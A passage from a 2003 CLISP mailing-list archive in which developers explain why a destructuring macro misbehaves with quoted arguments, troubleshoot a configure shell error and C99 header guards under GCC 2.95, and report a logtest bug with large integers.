clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 11 19:41:02 2003 X-Original-Date: Mon, 11 Aug 2003 22:21:36 -0400 This is really a general lisp question, but anyway. Can someone explain why macros can't destructure lists of more than 2 items? So I can't do this: [148]> (defmacro broken-mac ((a b c)) `(,a ,b ,c)) BROKEN-MAC [149]> (broken-mac '(1 2 3)) *** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1 2 3) NIL) But this works? [151]> (defmacro ok-mac ((a b)) `(,a ,b)) OK-MAC [152]> (ok-mac '(1 2)) (1 2) It doesn't make any sense to me. I wrote a version as a function with destructuring-bind and that works as expected. From svref@yahoo.com Mon Aug 11 20:28:42 2003 Received: from dsl093-230-014.lou1.dsl.speakeasy.net ([66.93.230.14] helo=ork.bomberlan.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mPOb-0000sz-00 for ; Mon, 11 Aug 2003 20:00:25 -0700 Received: from localhost ([127.0.0.1] helo=yahoo.com) by ork.bomberlan.net with esmtp (Exim 3.35 #1 (Debian)) id 19mPOY-0005L6-00; Mon, 11 Aug 2003 23:00:22 -0400 Message-ID: <3F385845.8060005@yahoo.com> From: David Morse User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Thomas Torsney-Weir , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] macro problem References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 11 20:29:11 2003 X-Original-Date: Mon, 11 Aug 2003 23:00:21 -0400 Thomas Torsney-Weir wrote: > This is really a general lisp question, but anyway. > > Can someone explain why macros can't destructure lists of more than 2 > items? So I can't do this: > > [148]> (defmacro broken-mac ((a b c)) `(,a ,b ,c)) > BROKEN-MAC > [149]> (broken-mac '(1 2 3)) > *** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1 2 > 3) NIL) > > But this works? > [151]> (defmacro ok-mac ((a b)) `(,a ,b)) > OK-MAC > [152]> (ok-mac '(1 2)) > (1 2) Short answer: you probably want to call broken-mac without the quote character before the first argument. Long answer: ok-mac is designed to be called with two "sub-arguments" in the first argument. Here you're calling it with the first sub-argument QUOTE and the second sub-argument (1 2). Thus after macroexpansion you send (QUOTE (1 2)) to lisp. That gets evaluated and you end up with a list whose first elt is 1 and second elt is 2. No errors. borken-mac is designed to be called with three "sub-arguments" in the first argument. Here you're calling it with the first sub-argument QUOTE, the second sub-argument (1 2 3), and no third argument (seems to default to nil, though I suspect it should error). Thus after macroexpansion you send (QUOTE (1 2 3) nil) to lisp. Quote is supposed to take exactly 1 argument, not two, so now you know what "too many parameters for special operator QUOTE" is trying to tell you. The macro is doing its job, sort of, and transforming its input. Its just that output is not executable lisp, and thus doesn't survive the ensuing evaluation. From pascal@informatimago.com Mon Aug 11 22:19:30 2003 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mRZ9-0006o8-00 for ; Mon, 11 Aug 2003 22:19:28 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 2F6B4B6205; Tue, 12 Aug 2003 07:19:15 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16184.30931.118295.397160@thalassa.informatimago.com> To: Thomas Torsney-Weir Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] macro problem In-Reply-To: References: X-Mailer: VM 7.07 under Emacs 21.3.50.pjb1.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 11 22:20:02 2003 X-Original-Date: Tue, 12 Aug 2003 07:19:15 +0200 Thomas Torsney-Weir writes: > This is really a general lisp question, but anyway. >=20 > Can someone explain why macros can't destructure lists of more than 2=20 > items? So I can't do this: >=20 > [148]> (defmacro broken-mac ((a b c)) `(,a ,b ,c)) > BROKEN-MAC > [149]> (broken-mac '(1 2 3)) > *** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1 2= =20 > 3) NIL) >=20 > But this works? > [151]> (defmacro ok-mac ((a b)) `(,a ,b)) > OK-MAC > [152]> (ok-mac '(1 2)) > (1 2) >=20 > It doesn't make any sense to me. I wrote a version as a function with=20 > destructuring-bind and that works as expected. Use macroexpand and see what happens: [10]> (defmacro broken-mac ((a b c)) `(,a ,b ,c)) BROKEN-MAC [11]> (macroexpand '(broken-mac '(1 2 3))) (QUOTE (1 2 3) NIL) ; T [12]> (defmacro ok-mac ((a b)) `(,a ,b)) OK-MAC [13]> (macroexpand '(ok-mac '(1 2))) '(1 2) ; T [14]> (macroexpand '(ok-mac '(1 2 3))) '(1 2 3) ; T [15]> (macroexpand '(broken-mac '(1 2))) (QUOTE (1 2) NIL) ; T [16]> (macroexpand '(broken-mac '(1 2 3 4))) (QUOTE (1 2 3 4) NIL) ; T Or you could print argument values from the macro: [17]> (defmacro broken-mac ((a b c)) (format t "a=3D~S~%b=3D~S~%c=3D~S~%"= a b c) `(,a ,b ,c)) BROKEN-MAC [18]> (broken-mac '(1 2)) a=3DQUOTE b=3D(1 2) c=3DNIL *** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1 2) = NIL) 1. Break [19]>=20 [20]> (broken-mac '(1 2 3)) a=3DQUOTE b=3D(1 2 3) c=3DNIL *** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1 2 3= ) NIL) 1. Break [21]>=20 The point is that both '(1 2 3) and '(1 2) (and '(1 2 3 4)) are lists of only TWO items. The first item is the symbol QUOTE and the second item is the list written in the expression (1 2 3) or (1 2) (or (1 2 3 4), etc), as revealed by the format statement in my redefinition of broken-mac. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From pascal@informatimago.com Mon Aug 11 22:24:12 2003 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mRdi-0007OH-00 for ; Mon, 11 Aug 2003 22:24:11 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id B40D5B6205; Tue, 12 Aug 2003 07:24:03 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16184.31219.699458.494849@thalassa.informatimago.com> To: Thomas Torsney-Weir Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] macro problem In-Reply-To: References: X-Mailer: VM 7.07 under Emacs 21.3.50.pjb1.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 11 22:25:01 2003 X-Original-Date: Tue, 12 Aug 2003 07:24:03 +0200 > Thomas Torsney-Weir writes: > > This is really a general lisp question, but anyway. > >=20 > > Can someone explain why macros can't destructure lists of more than 2= =20 > > items? So I can't do this: > >=20 > > [148]> (defmacro broken-mac ((a b c)) `(,a ,b ,c)) > > BROKEN-MAC > > [149]> (broken-mac '(1 2 3)) > > *** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1= 2=20 > > 3) NIL) > >=20 > > But this works? > > [151]> (defmacro ok-mac ((a b)) `(,a ,b)) > > OK-MAC > > [152]> (ok-mac '(1 2)) > > (1 2) > >=20 > > It doesn't make any sense to me. I wrote a version as a function wit= h=20 > > destructuring-bind and that works as expected. >=20 > The point is that both '(1 2 3) and '(1 2) (and '(1 2 3 4)) are lists > of only TWO items. The first item is the symbol QUOTE and the second > item is the list written in the expression (1 2 3) or (1 2) (or (1 2 3 > 4), etc), as revealed by the format statement in my redefinition of > broken-mac. I should add that the strange behavior comes from the fact that the arguments of a macro are not evalued, like the arguments to a function. To get the effect you want with a macro, you would have to write the argument without the quote: [29]> (broken-mac (list 2 3)) a=3DLIST b=3D2 c=3D3 (2 3) [30]> (broken-mac (+ 2 3)) a=3D+ b=3D2 c=3D3 5 [31]>=20 --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From jwilliams@ercot.com Mon Aug 11 23:04:36 2003 Received: from mail.ercot.com ([65.67.37.83]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mSGp-0005wI-00 for ; Mon, 11 Aug 2003 23:04:35 -0700 Received: from mail.ercot.com ([10.3.16.29]) by mail.ercot.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 12 Aug 2003 01:04:28 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] Re: (no subject) Message-ID: <196B06F749D8D94DB0A6B737CDCA33E21B0E64@prw2kt82.ercot.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Re: (no subject) Thread-Index: AcNgK5WSWBSJnYJbTgSyrR/M46wHOQAa2ov+ From: "Williams, Jack" To: X-OriginalArrivalTime: 12 Aug 2003 06:04:28.0271 (UTC) FILETIME=[96CAD7F0:01C36097] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 11 23:05:08 2003 X-Original-Date: Tue, 12 Aug 2003 01:04:27 -0500 Sam, Thanks for the advice. Running the command as you specified below = completed the configure and compiled cleanly. Running ./configure from = within a bash session did not. For the record, line 393 of the = config.cache is: lt_cv_global_symbol_to_cdecl=3D${lt_cv_global_symbol_to_cdecl=3D$'sed -n = -e \'s/^. .* \\(.*\\)$/extern char \\1;/p\''} Thanks, Jack -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Mon 8/11/2003 12:01 PM To: clisp-list@lists.sourceforge.net Cc:=09 Subject: [clisp-list] Re: (no subject) > * In message = <196B06F749D8D94DB0A6B737CDCA33E21A486D@prw2kt82.ercot.com> > * On the subject of "(no subject)" > * Sent on Mon, 11 Aug 2003 10:45:45 -0500 > * Honorable "Williams, Jack" writes: > > executing = /opt/home/jwilliam/lisp/clisp-2.30/jw.test/libcharset/configure = --srcdir=3D../../libcharset --cache-file=3D../config.cache > loading cache ../config.cache > configure: syntax error at line 393: `(' unexpected and what does jw.test/config.cache:393 look like? I think you are stuck with a broken shell. please try $ CONFIG_SHELL=3D/bin/bash ./configure jw.test1 --=20 Sam Steingold (http://www.podval.org/~sds) running w2k = He who laughs last thinks slowest. ------------------------------------------------------- This SF.Net email sponsored by: Free pre-built ASP.NET sites including Data Reports, E-commerce, Portals, and Forums are available now. Download today and enter to win an XBOX or Visual Studio .NET. http://aspnet.click-url.com/go/psa00100003ave/direct;at.aspnet_072303_01/= 01 _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From hin@van-halen.alma.com Tue Aug 12 06:27:35 2003 Received: from tooheys.dsl.net ([65.84.81.1]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mYiv-00036O-00 for ; Tue, 12 Aug 2003 05:58:01 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by tooheys.dsl.net (Postfix) with ESMTP id 9C40810DE30; Tue, 12 Aug 2003 08:57:54 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h7CCvoVu002833; Tue, 12 Aug 2003 08:57:54 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h7CCvoKb002830; Tue, 12 Aug 2003 08:57:50 -0400 Message-Id: <200308121257.h7CCvoKb002830@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org Cc: a.bignoli@computer.org, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 11 Aug 2003 16:39:32 -0400) Subject: Re: [clisp-list] truly dynamic FFI in CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 12 06:28:04 2003 X-Original-Date: Tue, 12 Aug 2003 08:57:50 -0400 >> [Aurelio Bignoli] >> on my system I got the usual "undeclared" error for scalb and scalf. I >> can't understand the reason, they are declared in bits/mathcall.h, >> which is included by math.h. > [Sam Steingold] > they are guarded with > #ifdef __USE_ISOC99 > I suggest adding "-std=c99" to CFLAGS in Makefile. FYI on my GCC 2.95.4 -std=c99 is not a valid option. There seems to be yet another #define of _ISOC99_SOURCE required to turn things on in , however it also seems to have the odd behavior that it doesn't work unless its set before the very first system include. Which means adding -D_ISOC99SOURCE to the Makefile won't work. More info: http://sources.redhat.com/ml/libc-alpha/2000-07/msg00249.html http://gcc.gnu.org/c99status.html From sds@alphatech.com Tue Aug 12 06:44:27 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mYxP-0007Pk-00 for ; Tue, 12 Aug 2003 06:12:59 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h7CDCmt08026; Tue, 12 Aug 2003 09:12:48 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: "John K. Hinsdale" Cc: a.bignoli@computer.org, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] truly dynamic FFI in CVS References: <200308121257.h7CCvoKb002830@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200308121257.h7CCvoKb002830@van-halen.alma.com> Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 12 06:45:07 2003 X-Original-Date: 12 Aug 2003 09:12:48 -0400 > * In message <200308121257.h7CCvoKb002830@van-halen.alma.com> > * On the subject of "Re: [clisp-list] truly dynamic FFI in CVS" > * Sent on Tue, 12 Aug 2003 08:57:50 -0400 > * Honorable "John K. Hinsdale" writes: > > >> [Aurelio Bignoli] > >> on my system I got the usual "undeclared" error for scalb and scalf. I > >> can't understand the reason, they are declared in bits/mathcall.h, > >> which is included by math.h. > > > [Sam Steingold] > > they are guarded with > > #ifdef __USE_ISOC99 > > I suggest adding "-std=c99" to CFLAGS in Makefile. > > FYI on my GCC 2.95.4 -std=c99 is not a valid option. There seems to > be yet another #define of _ISOC99_SOURCE required to turn things on in > , however it also seems to have the odd behavior that it > doesn't work unless its set before the very first system include. > Which means adding -D_ISOC99SOURCE to the Makefile won't work. I don't understand. I think that -D_ISOC99SOURCE has the effect of defining this CPP macro "before the very first system include". -- Sam Steingold (http://www.podval.org/~sds) running w2k If it has syntax, it isn't user friendly. From hin@van-halen.alma.com Tue Aug 12 07:10:03 2003 Received: from boags.dsl.net ([65.84.81.7]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mZEK-0004BW-00 for ; Tue, 12 Aug 2003 06:30:28 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by boags.dsl.net (Postfix) with ESMTP id 19DB910DE4B; Tue, 12 Aug 2003 09:30:20 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h7CDUJVu015815; Tue, 12 Aug 2003 09:30:19 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h7CDUJJB015812; Tue, 12 Aug 2003 09:30:19 -0400 Message-Id: <200308121330.h7CDUJJB015812@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org Cc: a.bignoli@computer.org, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 12 Aug 2003 09:12:48 -0400) Subject: Re: [clisp-list] truly dynamic FFI in CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 12 07:11:01 2003 X-Original-Date: Tue, 12 Aug 2003 09:30:19 -0400 > I don't understand. > I think that -D_ISOC99SOURCE has the effect of defining this CPP macro > "before the very first system include". Yes, I hadn't had my coffee this morning :) and I was about to offer an embarrassed retraction, then for grins I went and compiled a test program (again w/ gcc 2.95.4), and I've observed that using -D_ISOC99_SOURCE on the command line does *not* trigger the __USE_ISOC99 guarded stuff, whereas adding #define _ISOC99_SOURCE #include does define __USE_ISOC99, but again only if the #define appears before any includes like . This is just what I observe on my ancient stock Debian "woody" GCC 2.95.4 ... weird. Reading threads on Usenet and the GCC list it appears that all this __USE_THIS and __USE_THAT is very compiler version dependant. In modules/glibc would we be better off just leaving the "nonstandard" sys calls just commented out and let interested users enable them? My own opinion is that the defaul build of the module should be such that it is very likely to succeed on the users's platform even at the expense of leaving out some calls he might need find absent and need to enable manually. Also, may I ask what version of GCC Linux CLISP users are using? I've been living in fear of GCC 3 for some time now having had a lot of problems w/ hte early versions. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@alphatech.com Tue Aug 12 07:46:05 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mZZa-0000lk-00 for ; Tue, 12 Aug 2003 06:52:26 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h7CDqHt15402; Tue, 12 Aug 2003 09:52:17 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: "John K. Hinsdale" Cc: a.bignoli@computer.org, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] truly dynamic FFI in CVS References: <200308121330.h7CDUJJB015812@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200308121330.h7CDUJJB015812@van-halen.alma.com> Message-ID: Lines: 50 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 12 07:47:03 2003 X-Original-Date: 12 Aug 2003 09:52:17 -0400 > * In message <200308121330.h7CDUJJB015812@van-halen.alma.com> > * On the subject of "Re: [clisp-list] truly dynamic FFI in CVS" > * Sent on Tue, 12 Aug 2003 09:30:19 -0400 > * Honorable "John K. Hinsdale" writes: > > > I don't understand. > > I think that -D_ISOC99SOURCE has the effect of defining this CPP macro > > "before the very first system include". > > then for grins I went and compiled a test program (again w/ gcc > 2.95.4), and I've observed that using -D_ISOC99_SOURCE on the command > line does *not* trigger the __USE_ISOC99 guarded stuff, whereas adding > > #define _ISOC99_SOURCE > #include > > does define __USE_ISOC99, but again only if the #define appears before > any includes like . This is just what I observe on my > ancient stock Debian "woody" GCC 2.95.4 ... weird. indeed. are you sure this is indeed the only way? can you ask the GCC people? there might be a gcc command line option to enable this stuff. > Reading threads on Usenet and the GCC list it appears that all this > __USE_THIS and __USE_THAT is very compiler version dependant. In > modules/glibc would we be better off just leaving the "nonstandard" > sys calls just commented out and let interested users enable them? ok. > My own opinion is that the defaul build of the module should be such > that it is very likely to succeed on the users's platform even at the > expense of leaving out some calls he might need find absent and need > to enable manually. I guess we could make autoconf handle this... > Also, may I ask what version of GCC Linux CLISP users are using? I've > been living in fear of GCC 3 for some time now having had a lot of > problems w/ hte early versions. I have been a happy user of gcc3 since it became standard on RH. I now use gcc 3.3 with RH and cygwin/mingw. -- Sam Steingold (http://www.podval.org/~sds) running w2k "Syntactic sugar causes cancer of the semicolon." -Alan Perlis From kaz@footprints.net Tue Aug 12 10:21:27 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mcjA-0003yk-00 for ; Tue, 12 Aug 2003 10:14:32 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 19mcif-0004z2-00; Tue, 12 Aug 2003 10:14:01 -0700 From: Kaz Kylheku To: Thomas Torsney-Weir cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: macro problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 12 10:22:21 2003 X-Original-Date: Tue, 12 Aug 2003 10:14:01 -0700 (PDT) On Mon, 11 Aug 2003, Thomas Torsney-Weir wrote: > Date: Mon, 11 Aug 2003 22:21:36 -0400 > From: Thomas Torsney-Weir > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] macro problem > > This is really a general lisp question, but anyway. > > Can someone explain why macros can't destructure lists of more than 2 > items? So I can't do this: > > [148]> (defmacro broken-mac ((a b c)) `(,a ,b ,c)) > BROKEN-MAC > [149]> (broken-mac '(1 2 3)) > *** - EVAL: too many parameters for special operator QUOTE: (QUOTE (1 2 > 3) NIL) This is equivalent to (broken-mac (quote (1 2 3))). What's broken here, I think, is that the destructuring error is not signaled. There are only two parameters given for the nested lambda list (a b c). > But this works? > [151]> (defmacro ok-mac ((a b)) `(,a ,b)) > OK-MAC > [152]> (ok-mac '(1 2)) > (1 2) This is just (ok-mac (quote (1 2))) So the A parameter is the symbol QUOTE, and the B paramter is the list (1 2). The replacement form is therefore (QUOTE (1 2)). The (quote (1 2)) list is passed to the macro without being evaluated. > It doesn't make any sense to me. I wrote a version as a function with > destructuring-bind and that works as expected. But functions are different. The argument expressions in a function call are evaluated, so if you have an OK-FUNC instead of OK-MAC and you call it like (ok-mac '(1 2)) then it just gets one argument---the list (1 2). Moreover, the return value is not substituted into the program and re-evaluated. -- Meta-CVS: directory structure versioning; versioned symbolic links; versioned execute permission; versioned property lists; easy branching and merging and third party code tracking; all implemented over the standard CVS command line client -- http://freshmeat.net/projects/mcvs From rgr22@cl.cam.ac.uk Tue Aug 12 16:17:20 2003 Received: from plum.csi.cam.ac.uk ([131.111.8.3]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19miNm-0001lH-00 for ; Tue, 12 Aug 2003 16:16:50 -0700 Received: from shep.cl.cam.ac.uk ([128.232.8.11]) by plum.csi.cam.ac.uk with smtp (Exim 4.20) id 19miNj-0008F9-1S for clisp-list@lists.sourceforge.net; Wed, 13 Aug 2003 00:16:47 +0100 Received: by shep.cl.cam.ac.uk (sSMTP sendmail emulation); Wed, 13 Aug 2003 00:16:46 +0100 From: Russ Ross To: clisp-list@lists.sourceforge.net Message-ID: <20030812231646.GA27095@cl.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Cam-ScannerInfo: http://www.cam.ac.uk/cs/email/scanner/ X-Cam-AntiVirus: Not scanned X-Cam-SpamDetails: Not scanned Subject: [clisp-list] bug with logtest Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 12 16:18:02 2003 X-Original-Date: Wed, 13 Aug 2003 00:16:46 +0100 I'm having problems with logtest. For a test of the form (logtest (ash 1 n) (ash 1 n)) I'd expect a result of T for any n, but I don't always get that: (logtest (ash 1 23) (ash 1 23)) gives me T (logtest (ash 1 24) (ash 1 24)) gives me NIL (logtest (ash 1 63) (ash 1 63)) gives me NIL (logtest (ash 1 64) (ash 1 64)) gives me T (logtest (ash 1 100) (ash 1 100)) gives me T It goes back and forth several times as the following demonstrates: (do ((x 0 (+ x 1))) ((eq x 200)) (print x) (print (logtest (ash 1 x) (ash 1 x)))) It alternates between ranges of T and NIL output. So it seems there is a bug in logtest for certain sizes of integers. I tested with a fresh build. Here's my system info: $ uname -a Linux boulderdash.cl.cam.ac.uk 2.4.19-2cl-ext3 #1 SMP Thu Oct 24 10:18:47 BST 2002 i686 i686 i386 GNU/Linux I got the sources from the links on clisp.org on 2003-08-11. I built it using: $ ./configure --prefix=/home/rgr22/clisp $ ./makemake --with-dynamic-ffi --prefix=/home/rgr22/clisp > Makefile $ make config.lisp $ vim config.lisp (I changed the default editor from vi to vim) $ make $ make check $ make install make install had some problems because the symlinks in the "full" directory weren't right. I fixed those and repeated the "make install" step. $ clisp --version GNU CLISP 2.30 (released 2002-09-15) (built 3269712794) (memory 3269712892) Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 UNIX) Thanks, Russ Ross From svref@yahoo.com Wed Aug 13 06:33:17 2003 Received: from dsl093-230-014.lou1.dsl.speakeasy.net ([66.93.230.14] helo=ork.bomberlan.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mvka-00081O-00 for ; Wed, 13 Aug 2003 06:33:17 -0700 Received: from localhost ([127.0.0.1] helo=yahoo.com) by ork.bomberlan.net with esmtp (Exim 3.35 #1 (Debian)) id 